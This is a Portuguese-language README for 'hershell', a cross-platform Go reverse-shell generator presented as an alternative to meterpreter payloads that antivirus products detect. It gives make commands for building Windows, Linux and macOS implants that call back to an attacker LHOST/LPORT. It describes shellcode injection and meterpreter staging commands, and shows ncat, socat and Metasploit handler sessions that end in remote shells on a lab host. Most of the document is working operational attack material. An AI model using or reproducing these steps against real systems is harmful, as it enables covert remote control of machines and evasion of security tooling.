
Gerador de shell reverso multiplataforma
Shell reverso TCP simples escrito em Go.
Ele usa TLS para proteger as comunicações e oferece um recurso de fixação de impressão digital da chave pública do certificado, prevenindo a interceptação de tráfego.
Sistemas operacionais suportados:
Embora os payloads do meterpreter sejam ótimos, às vezes são detectados por produtos de AV.
O objetivo deste projeto é obter um shell reverso simples, que funcione em vários sistemas.
Como é escrito em Go, você pode compilar o código-fonte para a arquitetura desejada.
Como este é um projeto Go, você precisará seguir a documentação oficial para configurar seu ambiente Golang (com a variável de ambiente $GOPATH).
Então, basta executar go get github.com/lesnuages/hershell para baixar o projeto.
Para simplificar, você pode usar o Makefile fornecido.
Você pode definir as seguintes variáveis de ambiente:
GOOS : o SO alvoGOARCH : a arquitetura alvoLHOST : o IP ou nome de domínio do atacanteLPORT : a porta do listenerPara as variáveis GOOS e GOARCH, você pode obter os valores permitidos aqui.
No entanto, alguns alvos auxiliares estão disponíveis no Makefile:
depends : gera o certificado do servidor (necessário para o shell reverso)windows32 : compila um executável Windows 32 bits (PE 32 bits)windows64 : compila um executável Windows 64 bits (PE 64 bits)linux32 : compila um executável Linux 32 bits (ELF 32 bits)linux64 : compila um executável Linux 64 bits (ELF 64 bits)macos32 : compila um executável Mac OS 32 bits (Mach-O)macos64 : compila um executável Mac OS 64 bits (Mach-O)Para esses alvos, você só precisa definir as variáveis de ambiente LHOST e LPORT.
Uma vez executado, você terá um shell remoto.
Este shell interativo personalizado permitirá que você execute comandos do sistema através do cmd.exe no Windows ou /bin/sh em máquinas UNIX.
Os seguintes comandos especiais são suportados:
run_shell : fornece um shell do sistema (permitindo, por exemplo, mudar de diretórios)inject <base64 shellcode> : injeta um shellcode (codificado em base64) na memória do mesmo processo e o executameterpreter [tcp|http|https] IP:PORT : conecta-se a um multi/handler para obter um meterpreter reverso tcp, http ou https stage2 do metasploit e executa o shellcode na memória (apenas Windows no momento)exit : sair corretamentePrimeiramente, você precisará gerar um certificado válido:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Para Windows:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Para Linux:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Para Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234
Pode-se usar várias ferramentas para lidar com conexões recebidas, como:
python/shell_reverse_tcp_ssl)Aqui está um exemplo com ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
Aqui está um exemplo com socat (testado com a versão 1.7.3.2):
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab
AVISO: atualmente funciona apenas para a plataforma Windows.
O staging do meterpreter atualmente suporta os seguintes payloads:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsPara usar o correto, basta especificar o transporte desejado (tcp, http, https)
Para usar o recurso de staging do meterpreter, basta iniciar seu handler:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Então, no hershell, use o comando meterpreter:
[hershell]> meterpreter https 172.16.122.105:8443
Uma nova sessão do meterpreter deve aparecer no msfconsole:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
@khast3x pelo recurso Dockerfile